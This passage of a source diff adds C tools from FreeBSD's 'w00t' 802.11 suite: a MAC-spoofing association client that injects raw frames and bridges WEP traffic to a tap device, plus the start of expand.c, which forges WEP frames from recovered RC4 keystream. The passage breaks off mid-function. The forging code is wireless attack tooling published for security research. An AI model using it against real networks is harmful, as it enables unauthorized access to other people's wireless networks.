+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#include <sys/time.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <err.h>
+#include <net80211/ieee80211.h>
+#include <sys/endian.h>
+#include "w00t.h"
+
+enum {
+ S_START = 0,
+ S_SEND_PROBE_REQ,
+ S_WAIT_PROBE_RES,
+ S_SEND_AUTH,
+ S_WAIT_AUTH,
+ S_SEND_ASSOC,
+ S_WAIT_ASSOC,
+ S_ASSOCIATED,
+ S_SEND_DATA,
+ S_WAIT_ACK
+};
+
+struct params {
+ int seq;
+ int seq_rx;
+ char *mac;
+ char *ssid;
+ char bssid[6];
+ char ap[6];
+ int tx;
+ int rx;
+ int tap;
+ int aid;
+ char packet[4096];
+ int packet_len;
+ int state;
+ char wep_key[13];
+ int wep_iv;
+ int wep_len;
+};
+
+void usage(char *pname)
+{
+ printf("Usage: %s <opts>\n"
+ "-m\t<source mac>\n"
+ "-s\t<ssid>\n"
+ "-h\tusage\n"
+ "-i\t<iface>\n"
+ "-w\t<wep key>\n"
+ "-t\t<tap>\n"
+ "-b\t<bssid>\n"
+ , pname);
+ exit(0);
+}
+
+void fill_basic(struct ieee80211_frame *wh, struct params *p)
+{
+ short *seq;
+
+ wh->i_dur[0] = 0x69;
+ wh->i_dur[1] = 0x00;
+
+ memcpy(wh->i_addr1, p->ap, 6);
+ memcpy(wh->i_addr2, p->mac, 6);
+ memcpy(wh->i_addr3, p->bssid, 6);
+
+ seq = (short*)wh->i_seq;
+ *seq = seqfn(p->seq, 0);
+}
+
+void send_frame(struct params *p, void *buf, int len)
+{
+ int rc;
+
+ rc = inject(p->tx, buf, len);
+ if (rc == -1) {
+ if (errno == EMSGSIZE)
+ warnx("inject(len %d)", len);
+ else
+ err(1, "inject(len %d)", len);
+ } else if (rc != len)
+ errx(1, "injected %d but only %d sent", rc, len);
+ p->seq++;
+}
+
+void send_probe_request(struct params *p)
+{
+ char buf[2048];
+ struct ieee80211_frame *wh;
+ char *data;
+ int len;
+
+ memset(buf, 0, sizeof(buf));
+
+ wh = (struct ieee80211_frame*) buf;
+ fill_basic(wh, p);
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_PROBE_REQ;
+
+ memset(wh->i_addr1, 0xFF, 6);
+ memset(wh->i_addr3, 0xFF, 6);
+
+ data = (char*) (wh + 1);
+ *data++ = 0; /* SSID */
+ *data++ = strlen(p->ssid);
+ strcpy(data, p->ssid);
+ data += strlen(p->ssid);
+
+ *data++ = 1; /* rates */
+ *data++ = 4;
+ *data++ = 2 | 0x80;
+ *data++ = 4 | 0x80;
+ *data++ = 11;
+ *data++ = 22;
+
+ len = data - (char*)wh;
+
+ send_frame(p, buf, len);
+}
+
+void send_auth(struct params *p)
+{
+ char buf[2048];
+ struct ieee80211_frame *wh;
+ char *data;
+ int len;
+
+ memset(buf, 0, sizeof(buf));
+
+ wh = (struct ieee80211_frame*) buf;
+ fill_basic(wh, p);
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
+
+ data = (char*) (wh + 1);
+
+ /* algo */
+ *data++ = 0;
+ *data++ = 0;
+
+ /* transaction no. */
+ *data++ = 1;
+ *data++ = 0;
+
+ /* status code */
+ *data++ = 0;
+ *data++ = 0;
+
+ len = data - (char*)wh;
+
+ send_frame(p, buf, len);
+}
+
+/*
+ * Add an ssid element to a frame.
+ */
+static u_int8_t *
+ieee80211_add_ssid(u_int8_t *frm, const u_int8_t *ssid, u_int len)
+{
+ *frm++ = IEEE80211_ELEMID_SSID;
+ *frm++ = len;
+ memcpy(frm, ssid, len);
+ return frm + len;
+}
+
+void send_assoc(struct params *p)
+{
+ union {
+ struct ieee80211_frame w;
+ char buf[2048];
+ } u;
+ struct ieee80211_frame *wh;
+ char *data;
+ int len, capinfo, lintval;
+
+ memset(&u, 0, sizeof(u));
+
+ wh = (struct ieee80211_frame*) &u.w;
+ fill_basic(wh, p);
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
+
+ data = (char*) (wh + 1);
+
+ /* capability */
+ capinfo = IEEE80211_CAPINFO_ESS;
+ if (p->wep_len)
+ capinfo |= IEEE80211_CAPINFO_PRIVACY;
+ *(uint16_t *)data = htole16(capinfo);
+ data += 2;
+
+ /* listen interval */
+ *(uint16_t *)data = htole16(100);
+ data += 2;
+
+ data = ieee80211_add_ssid(data, p->ssid, strlen(p->ssid));
+
+ *data++ = 1; /* rates */
+ *data++ = 4;
+ *data++ = 2 | 0x80;
+ *data++ = 4 | 0x80;
+ *data++ = 11;
+ *data++ = 22;
+
+ len = data - (char*)wh;
+
+ send_frame(p, u.buf, len);
+}
+
+int for_me(struct ieee80211_frame *wh, char *mac)
+{
+ return memcmp(wh->i_addr1, mac, 6) == 0;
+}
+
+int from_ap(struct ieee80211_frame *wh, char *mac)
+{
+ return memcmp(wh->i_addr2, mac, 6) == 0;
+}
+
+void ack(struct params *p, struct ieee80211_frame *wh)
+{
+ if (memcmp(wh->i_addr1, p->mac, 6) != 0)
+ return;
+
+ if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
+ return;
+
+ send_ack(p->tx, wh->i_addr2);
+}
+
+void generic_process(struct ieee80211_frame *wh, struct params *p, int len)
+{
+ int type, stype;
+ int dup = 0;
+
+#if 0
+ ack(p, wh);
+#endif
+
+#if 0
+ if (!for_me(wh, p->mac))
+ return;
+#endif
+ /* ignore my own shit */
+ if (memcmp(wh->i_addr2, p->mac, 6) == 0) {
+ return;
+ }
+
+ type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
+ stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
+
+ if (for_me(wh, p->mac) && type == IEEE80211_FC0_TYPE_DATA) {
+ /* sequence number & dups */
+ if (p->seq_rx == -1)
+ p->seq_rx = seqno(wh);
+ else {
+ int s = seqno(wh);
+
+ if (s > p->seq_rx) {
+ /* normal case */
+ if (p->seq_rx + 1 == s) {
+#if 0
+ printf("S=%d\n", s);
+#endif
+ p->seq_rx = s;
+ }
+ else { /* future */
+#if 0
+ printf("Got seq %d, prev %d\n",
+ s, p->seq_rx);
+#endif
+ p->seq_rx = s;
+ }
+ } else { /* we got pas stuff... */
+ if (p->seq_rx - s > 1000) {
+#if 0
+ printf("Seqno wrap seq %d, last %d\n",
+ s, p->seq_rx);
+#endif
+ /* seqno wrapping ? */
+ p->seq_rx = 0;
+ }
+ else { /* dup */
+ dup = 1;
+#if 0
+ printf("Got dup seq %d, last %d\n",
+ s, p->seq_rx);
+#endif
+ }
+ }
+ }
+ }
+#if 0
+ if (wh->i_fc[1] & IEEE80211_FC1_RETRY) {
+ printf("Got retry\n");
+ }
+#endif
+#if 0
+ if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) != IEEE80211_FC0_TYPE_CTL) {
+ int rc = send_ack(p->tx, wh->i_addr2);
+ if (rc == -1)
+ err(1, "send_ack()");
+ if (rc != 10) {
+ printf("Wrote ACK %d/%d\n", rc, 10);
+ exit(1);
+ }
+ }
+#endif
+
+ /* data frames */
+ if (type == IEEE80211_FC0_TYPE_DATA && !dup) {
+ char *ptr;
+ char src[6], dst[6];
+ int rc;
+
+ if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
+ if (memcmp(wh->i_addr2, p->ap, 6) != 0)
+ return;
+ } else {
+ if (memcmp(wh->i_addr1, p->ap, 6) != 0)
+ return;
+ }
+
+
+ if (p->state < S_ASSOCIATED) {
+ printf("Got data when not associated!\n");
+ return;
+ }
+ if (stype != IEEE80211_FC0_SUBTYPE_DATA) {
+ printf("Got weird data frame stype=%d\n",
+ stype >> IEEE80211_FC0_SUBTYPE_SHIFT);
+ return;
+ }
+
+ if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
+ memcpy(src, wh->i_addr3, 6);
+ memcpy(dst, wh->i_addr1, 6);
+ } else {
+ memcpy(src, wh->i_addr2, 6);
+ memcpy(dst, wh->i_addr3, 6);
+ }
+
+ ptr = (char*) (wh + 1);
+
+ if (wh->i_fc[1] & IEEE80211_FC1_WEP) {
+ if (!p->wep_len) {
+ char srca[3*6];
+ char dsta[3*6];
+
+ mac2str(srca, src);
+ mac2str(dsta, dst);
+ printf("Got wep but i aint wep %s->%s %d\n",
+ srca, dsta, len-sizeof(*wh)-8);
+ return;
+ }
+
+ if (wep_decrypt(wh, len, p->wep_key, p->wep_len) == -1){
+ char srca[3*6];
+ char dsta[3*6];
+
+ mac2str(srca, src);
+ mac2str(dsta, dst);
+ printf("Can't decrypt %s->%s %d\n", srca, dsta,
+ len-sizeof(*wh)-8);
+ return;
+ }
+
+ ptr += 4;
+ len -= 8;
+ }
+
+ /* ether header */
+ ptr += 8 - 2;
+ ptr -= 6;
+ memcpy(ptr, src, 6);
+ ptr -= 6;
+ memcpy(ptr, dst, 6);
+
+ len -= sizeof(*wh);
+ len -= 8;
+ len += 14;
+
+ /* send to tap */
+ rc = write(p->tap, ptr, len);
+ if (rc == -1)
+ err(1, "write()");
+ if (rc != len) {
+ printf("Wrote %d/%d\n", rc, len);
+ exit(1);
+ }
+ }
+}
+
+int get_probe_response(struct params *p)
+{
+ char buf[4096];
+ int rc;
+ struct ieee80211_frame *wh;
+ char *data;
+ int ess;
+ int wep;
+ char *ssid;
+ char from[18];
+ char bssid[18];
+
+ rc = sniff(p->rx, buf, sizeof(buf));
+ if (rc == -1)
+ err(1, "sniff()");
+
+ wh = get_wifi(buf, &rc);
+ if (!wh)
+ return 0;
+
+ generic_process(wh, p, rc);
+
+ if (!for_me(wh, p->mac))
+ return 0;
+
+ if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT,
+ IEEE80211_FC0_SUBTYPE_PROBE_RESP))
+ return 0;
+
+ data = (char*) (wh+1);
+ data += 8; /* Timestamp */
+ data += 2; /* Beacon Interval */
+ ess = *data & 1;
+ wep = (*data & IEEE80211_CAPINFO_PRIVACY) ? 1 : 0;
+ data += 2; /* capability */
+
+ /* ssid */
+ if (*data != 0) {
+ printf("Warning, expecting SSID got %x\n", *data);
+ return 0;
+ }
+ data++;
+ ssid = data+1;
+ data += 1 + *data;
+ if (*data != 1) {
+ printf("Warning, expected rates got %x\n", *data);
+ return 0;
+ }
+ *data = 0;
+
+ /* rates */
+ data++;
+
+ mac2str(from, wh->i_addr2);
+ mac2str(bssid, wh->i_addr3);
+ printf("Got response from %s [%s] [%s] ESS=%d WEP=%d\n",
+ from, bssid, ssid, ess, wep);
+
+ if (strcmp(ssid, p->ssid) != 0)
+ return 0;
+
+ memcpy(p->ap, wh->i_addr2, 6);
+ memcpy(p->bssid, wh->i_addr3, 6);
+ return 1;
+}
+
+int get_auth(struct params *p)
+{
+ char buf[4096];
+ int rc;
+ struct ieee80211_frame *wh;
+ short *data;
+
+ rc = sniff(p->rx, buf, sizeof(buf));
+ if (rc == -1)
+ err(1, "sniff()");
+
+ wh = get_wifi(buf, &rc);
+ if (!wh)
+ return 0;
+
+ generic_process(wh, p, rc);
+
+ if (!for_me(wh, p->mac))
+ return 0;
+
+ if (!from_ap(wh, p->ap))
+ return 0;
+
+ if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT,
+ IEEE80211_FC0_SUBTYPE_AUTH))
+ return 0;
+
+ data = (short*) (wh+1);
+
+ /* algo */
+ if (le16toh(*data) != 0) {
+ printf("Not open-system %d!\n", le16toh(*data));
+ return 0;
+ }
+ data++;
+
+ /* transaction no. */
+ if (le16toh(*data) != 2) {
+ printf("Got transaction %d!\n", le16toh(*data));
+ return 0;
+ }
+ data++;
+
+ /* status code */
+ rc = le16toh(*data);
+ if (rc == 0) {
+ printf("Authenticated\n");
+ return 1;
+ }
+
+ printf("Authentication failed code=%d\n", rc);
+ return 0;
+}
+
+int get_assoc(struct params *p)
+{
+ char buf[4096];
+ int rc;
+ struct ieee80211_frame *wh;
+ unsigned short *data;
+
+ rc = sniff(p->rx, buf, sizeof(buf));
+ if (rc == -1)
+ err(1, "sniff()");
+
+ wh = get_wifi(buf, &rc);
+ if (!wh)
+ return 0;
+
+ generic_process(wh, p, rc);
+
+ if (!for_me(wh, p->mac))
+ return 0;
+
+ if (!from_ap(wh, p->ap))
+ return 0;
+
+ if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT,
+ IEEE80211_FC0_SUBTYPE_ASSOC_RESP))
+ return 0;
+
+
+ data = (unsigned short*) (wh+1);
+
+ data++; /* caps */
+
+ /* status */
+ rc = le16toh(*data++);
+ if (rc != 0) {
+ printf("Assoc failed code %d\n", rc);
+ return 0;
+ }
+
+ /* aid */
+ p->aid = le16toh(*data & ~( (1 << 15) | (1 << 14)));
+ printf("Association ID=%d\n", p->aid);
+
+ return 1;
+}
+
+void read_wifi(struct params *p)
+{
+ char buf[4096];
+ int rc;
+ struct ieee80211_frame *wh;
+ int type, stype;
+
+ rc = sniff(p->rx, buf, sizeof(buf));
+ if (rc == -1)
+ err(1, "sniff()");
+
+ wh = get_wifi(buf, &rc);
+ if (!wh)
+ return;
+
+ generic_process(wh, p, rc);
+
+ if (!for_me(wh, p->mac))
+ return;
+
+ type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
+ stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
+
+ /* control frames */
+ if (type == IEEE80211_FC0_TYPE_CTL) {
+ switch (stype) {
+ case IEEE80211_FC0_SUBTYPE_ACK:
+ if (p->state == S_WAIT_ACK)
+ p->state = S_ASSOCIATED;
+ break;
+
+ case IEEE80211_FC0_SUBTYPE_RTS:
+#if 0
+ printf("Got RTS\n");
+#endif
+ break;
+
+ default:
+ printf("Unknown CTL frame %d\n",
+ stype >> IEEE80211_FC0_SUBTYPE_SHIFT);
+ abort();
+ break;
+ }
+ return;
+ }
+
+ if (!from_ap(wh, p->ap))
+ return;
+
+ if (type != IEEE80211_FC0_TYPE_MGT)
+ return;
+
+ if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH ||
+ stype == IEEE80211_FC0_SUBTYPE_DISASSOC) {
+ printf("Got management! %d\n",
+ stype >> IEEE80211_FC0_SUBTYPE_SHIFT);
+ p->seq_rx = -1;
+ p->state = S_START;
+ }
+
+ return;
+}
+
+void read_tap(struct params *p)
+{
+ char *ptr;
+ int len = sizeof(p->packet);
+ int offset;
+ char mac[6];
+ struct ieee80211_frame *wh;
+
+ ptr = p->packet;
+ offset = sizeof(struct ieee80211_frame) + 8 - 14;
+ if (p->wep_len)
+ offset += 4;
+
+ ptr += offset;
+ len -= offset;
+
+ /* read packet */
+ memset(p->packet, 0, sizeof(p->packet));
+ p->packet_len = read(p->tap, ptr, len);
+ if (p->packet_len == -1)
+ err(1, "read()");
+
+ /* 802.11 header */
+ wh = (struct ieee80211_frame*) p->packet;
+ memcpy(mac, ptr, sizeof(mac));
+ fill_basic(wh, p);
+ memcpy(wh->i_addr3, mac, sizeof(wh->i_addr3));
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
+ if (p->wep_len)
+ wh->i_fc[1] |= IEEE80211_FC1_WEP;
+
+ /* LLC & SNAP */
+ ptr = (char*) (wh+1);
+ if (p->wep_len)
+ ptr += 4;
+ *ptr++ = 0xAA;
+ *ptr++ = 0xAA;
+ *ptr++ = 0x03;
+ *ptr++ = 0x00;
+ *ptr++ = 0x00;
+ *ptr++ = 0x00;
+ /* ether type overlaps w00t */
+
+ p->packet_len += offset;
+
+ /* WEP */
+ if (p->wep_len) {
+ ptr = (char*) (wh+1);
+ memcpy(ptr, &p->wep_iv, 3);
+ ptr[3] = 0;
+ p->wep_iv++;
+
+ wep_encrypt(wh, p->packet_len, p->wep_key, p->wep_len);
+ p->packet_len += 4; /* ICV */
+ }
+}
+
+int main(int argc, char *argv[])
+{
+ char* ssid = 0;
+ char mac[] = { 0x00, 0x00, 0xde, 0xfa, 0xce, 0xd };
+ int ch;
+ struct params p;
+ char *iface = "ath0";
+ char *tap = "tap0";
+ int timeout = 50*1000;
+ struct timeval start;
+
+ memset(&p, 0, sizeof(p));
+ p.wep_len = 0;
+ p.wep_iv = 0;
+ p.state = S_START;
+
+ while ((ch = getopt(argc, argv, "hm:s:i:w:t:b:")) != -1) {
+ switch (ch) {
+ case 'b':
+ if (str2mac(p.bssid, optarg)) {
+ printf("Error parsing BSSID\n");
+ exit(1);
+ }
+ memcpy(p.ap, p.bssid, sizeof(p.ap));
+ p.state = S_SEND_AUTH;
+ break;
+
+ case 's':
+ ssid = optarg;
+ break;
+
+ case 'm':
+ if (str2mac(mac, optarg)) {
+ printf("Error parsing MAC\n");
+ exit(1);
+ }
+ break;
+
+ case 'i':
+ iface = optarg;
+ break;
+
+ case 'w':
+ if (str2wep(p.wep_key, &p.wep_len, optarg)) {
+ printf("Error parsing WEP key\n");
+ exit(1);
+ }
+ break;
+
+ case 't':
+ tap = optarg;
+ break;
+
+ case 'h':
+ default:
+ usage(argv[0]);
+ break;
+ }
+ }
+
+ if (!ssid)
+ usage(argv[0]);
+
+ p.mac = mac;
+ p.ssid = ssid;
+ p.seq = getpid();
+ p.seq_rx = -1;
+ if (open_rxtx(iface, &p.rx, &p.tx) == -1)
+ err(1, "open_rxtx()");
+ p.tap = open_tap(tap);
+ if (p.tap == -1)
+ err(1, "open_tap()");
+ if (set_iface_mac(tap, mac) == -1)
+ err(1, "set_iface_mac()");
+
+ while (1) {
+ /* check for timeouts */
+ switch (p.state) {
+ case S_WAIT_PROBE_RES:
+ case S_WAIT_AUTH:
+ case S_WAIT_ASSOC:
+ case S_WAIT_ACK:
+ do {
+ int rc;
+ struct timeval tv;
+ int elapsed = 0;
+
+ /* check timeout */
+ if (gettimeofday(&tv, NULL) == -1)
+ err(1, "gettimeofday()");
+ elapsed = tv.tv_sec - start.tv_sec;
+ if (elapsed == 0) {
+ elapsed = tv.tv_usec - start.tv_usec;
+ } else {
+ elapsed *= (elapsed-1)*1000*1000;
+ elapsed += 1000*1000 - start.tv_usec;
+ elapsed += tv.tv_usec;
+ }
+ if (elapsed >= timeout)
+ rc = 0;
+ else {
+ fd_set fds;
+
+ FD_ZERO(&fds);
+ FD_SET(p.rx, &fds);
+
+ elapsed = timeout - elapsed;
+ tv.tv_sec = elapsed/1000/1000;
+ elapsed -= tv.tv_sec*1000*1000;
+ tv.tv_usec = elapsed;
+
+ rc = select(p.rx+1, &fds, NULL,
+ NULL, &tv);
+ if (rc == -1)
+ err(1, "select()");
+ }
+
+ /* timeout */
+ if (!rc) {
+#if 0
+ printf("Timeout\n");
+#endif
+ p.state--;
+ }
+
+ } while(0);
+ break;
+ }
+
+ switch (p.state) {
+ case S_START:
+ p.state = S_SEND_PROBE_REQ;
+ break;
+
+ case S_SEND_PROBE_REQ:
+ printf("Sending probe request for %s\n", ssid);
+ send_probe_request(&p);
+ p.state = S_WAIT_PROBE_RES;
+ if (gettimeofday(&start, NULL) == -1)
+ err(1, "gettimeofday()");
+ break;
+
+ case S_WAIT_PROBE_RES:
+ if (get_probe_response(&p)) {
+ p.state = S_SEND_AUTH;
+ }
+ break;
+
+ case S_SEND_AUTH:
+ do {
+ char apmac[18];
+
+ mac2str(apmac, p.ap);
+ printf("Sending auth to %s\n", apmac);
+ send_auth(&p);
+ p.state = S_WAIT_AUTH;
+ if (gettimeofday(&start, NULL) == -1)
+ err(1, "gettimeofday()");
+ } while(0);
+ break;
+
+ case S_WAIT_AUTH:
+ if (get_auth(&p)) {
+ p.state = S_SEND_ASSOC;
+ }
+ break;
+
+ case S_SEND_ASSOC:
+ printf("Sending assoc\n");
+ send_assoc(&p);
+ p.state = S_WAIT_ASSOC;
+ if (gettimeofday(&start, NULL) == -1)
+ err(1, "gettimeofday()");
+ break;
+
+ case S_WAIT_ASSOC:
+ if (get_assoc(&p)) {
+ printf("Associated\n");
+ p.state = S_ASSOCIATED;
+ }
+ break;
+
+ case S_ASSOCIATED:
+ do {
+ fd_set fds;
+ int max;
+
+ FD_ZERO(&fds);
+ FD_SET(p.rx, &fds);
+ FD_SET(p.tap, &fds);
+ max = (p.rx > p.tap) ? p.rx : p.tap;
+
+ max = select(max+1, &fds, NULL, NULL, NULL);
+ if (max == -1)
+ err(1, "select()");
+
+ if (FD_ISSET(p.tap, &fds)) {
+ read_tap(&p);
+ p.state = S_SEND_DATA;
+ }
+ if (FD_ISSET(p.rx, &fds)) {
+ read_wifi(&p);
+ }
+ } while(0);
+ break;
+
+ case S_SEND_DATA:
+ send_frame(&p, p.packet, p.packet_len);
+ do {
+ struct ieee80211_frame *wh;
+
+ wh = (struct ieee80211_frame*) p.packet;
+ wh->i_fc[1] |= IEEE80211_FC1_RETRY;
+ } while (0);
+ p.state = S_WAIT_ACK;
+ if (gettimeofday(&start, NULL) == -1)
+ err(1, "gettimeofday()");
+ break;
+
+ case S_WAIT_ACK:
+ read_wifi(&p);
+ break;
+
+ default:
+ printf("Unknown state %d\n", p.state);
+ abort();
+ break;
+ }
+ }
+
+ exit(0);
+}
diff --git a/tools/tools/net80211/w00t/expand/Makefile b/tools/tools/net80211/w00t/expand/Makefile
new file mode 100644
index 0000000..ffa1334
--- /dev/null
+++ b/tools/tools/net80211/w00t/expand/Makefile
@@ -0,0 +1,7 @@
+# $FreeBSD$
+
+.include <../Makefile.inc>
+
+PROG= expand
+
+.include <bsd.prog.mk>
diff --git a/tools/tools/net80211/w00t/expand/expand.c b/tools/tools/net80211/w00t/expand/expand.c
new file mode 100644
index 0000000..fe37145
--- /dev/null
+++ b/tools/tools/net80211/w00t/expand/expand.c
@@ -0,0 +1,468 @@
+/*-
+ * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$
+ */
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/uio.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <err.h>
+#include <assert.h>
+#include <zlib.h>
+#include "w00t.h"
+
+enum {
+ S_START = 0,
+ S_WAIT_RELAY,
+};
+
+struct queue {
+ struct ieee80211_frame *wh;
+ int len;
+
+ char *buf;
+ int live;
+ struct queue *next;
+};
+
+struct params {
+ int rx;
+ int tx;
+
+ int tap;
+
+ char mcast[5];
+ char mac[6];
+ char ap[6];
+
+ char prga[2048];
+ int prga_len;
+
+ int state;
+
+ struct queue *q;
+
+ char packet[2048];
+ int packet_len;
+ struct timeval last;
+
+ int seq;
+
+ unsigned char guess;
+};
+
+int wanted(struct params *p, struct ieee80211_frame *wh, int len)
+{
+ char *bssid, *sa;
+
+ if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
+ bssid = wh->i_addr1;
+ sa = wh->i_addr2;
+ }
+ else {
+ bssid = wh->i_addr2;
+ sa = wh->i_addr3;
+ }
+
+ if (memcmp(bssid, p->ap, 6) != 0)
+ return 0;
+
+ if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
+ printf("Got non WEP packet...\n");
+ return 0;
+ }
+
+ /* my own shit */
+ if (memcmp(p->mac, sa, 6) == 0)
+ return 0;
+
+ return 1;
+}
+
+void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
+{
+ struct queue *q = p->q;
+ int qlen = 0;
+ char *ret = NULL;
+ struct queue *last = NULL;
+
+ /* find a slot */
+ while (q) {
+ if (q->live)
+ qlen++;
+ else {
+ /* recycle */
+ ret = q->buf;
+ break;
+ }
+
+ last = q;
+ q = q->next;
+ }
+
+ /* need to create slot */
+ if (!q) {
+ q = (struct queue*) malloc(sizeof(*q));
+ if (!q)
+ err(1, "malloc()");
+ memset(q, 0, sizeof(*q));
+
+ /* insert */
+ if (!p->q)
+ p->q = q;
+ else {
+ assert(last);
+ last->next = q;
+ }
+ }
+
+ q->live = 1;
+ q->buf = *buf;
+ q->len = len;
+ q->wh = wh;
+
+ qlen++;
+
+ if (qlen > 5)
+ printf("Enque. Size: %d\n", qlen);
+ *buf = ret;
+}
+
+void send_packet(struct params *p)
+{
+ int rc;
+
+ rc = inject(p->tx, p->packet, p->packet_len);
+ if (rc == -1)
+ err(1, "inject()");
+ if (rc != p->packet_len) {
+ printf("Wrote %d/%d\n", rc, p->packet_len);
+ exit(1);
+ }
+
+ if (gettimeofday(&p->last, NULL) == -1)
+ err(1, "gettimeofday()");
+}
+#include <openssl/rc4.h>
+void send_mcast(struct params *p, unsigned char x)
+{
+ struct ieee80211_frame *wh;
+ short *seq;
+ struct queue *q = p->q;
+ char *data, *ptr;
+ int len;
+ uLong crc = crc32(0L, Z_NULL, 0);
+ uLong *pcrc;
+ int i;
+ int need_frag = 0;
+ char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00";
+
+ assert(q);
+
+ /* 802.11 */
+ memset(p->packet, 0, sizeof(p->packet));
+ wh = (struct ieee80211_frame*) p->packet;
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+ wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
+ wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
+ wh->i_fc[1] |= IEEE80211_FC1_WEP;
+
+ wh->i_dur[0] = 0x69;
+
+ memcpy(wh->i_addr1, p->ap, 6);
+ memcpy(wh->i_addr2, p->mac, 6);
+ memcpy(wh->i_addr3, p->mcast, 5);
+ wh->i_addr3[5] = x;
+
+ seq = (short*) wh->i_seq;
+ *seq = seqfn(p->seq++, 0);
+
+ /* IV */
+ data = (char*) (wh+1);
+ ptr = (char*) (q->wh+1);
+ memcpy(data, ptr, 3);
+
+ if (p->prga_len == 0) {
+
+ RC4_KEY k;
+ unsigned char key[8];
+
+ memset(&key[3], 0x61, 5);
+ memcpy(key, (q->wh+1), 3);
+ p->prga_len = 128;
+
+ RC4_set_key(&k, 8, key);
+ memset(p->prga, 0, sizeof(p->prga));
+ RC4(&k, p->prga_len, p->prga, p->prga);
+
+
+#if 0
+ int ptl = q->len;
+ char *pt;
+
+ pt = known_pt(q->wh, &ptl);
+ ptr += 4;
+ p->prga_len = ptl;
+ for (i = 0; i < p->prga_len; i++)
+ p->prga[i] = ptr[i] ^ pt[i];
+#endif
+ }
+
+ /* data */
+ data += 4;
+ memcpy(data, payload, sizeof(payload));
+ p->prga_len = 12;
+ len = p->prga_len + 1 - 4;
+
+#if 1
+ if (len < sizeof(payload)) {
+ need_frag = len;
+ wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
+ }
+#endif
+
+ /* crc */
+ pcrc = (uLong*) (data+len);
+ *pcrc = crc32(crc, data, len);
+
+ /* wepify */
+ len += 4;
+ for (i = 0; i < (len); i++) {
+ assert( i <= p->prga_len);
+ data[i] ^= p->prga[i];
+ }
+// data[i] ^= x;
+
+ len += sizeof(*wh);
+ p->packet_len = len + 4;
+ send_packet(p);
+
+ /* the data we sent is too fucking short */
+ if (need_frag) {
+ memset(data, 0, len);
+
+ /* 802.11 */
+ *seq = seqfn(p->seq-1, 1);
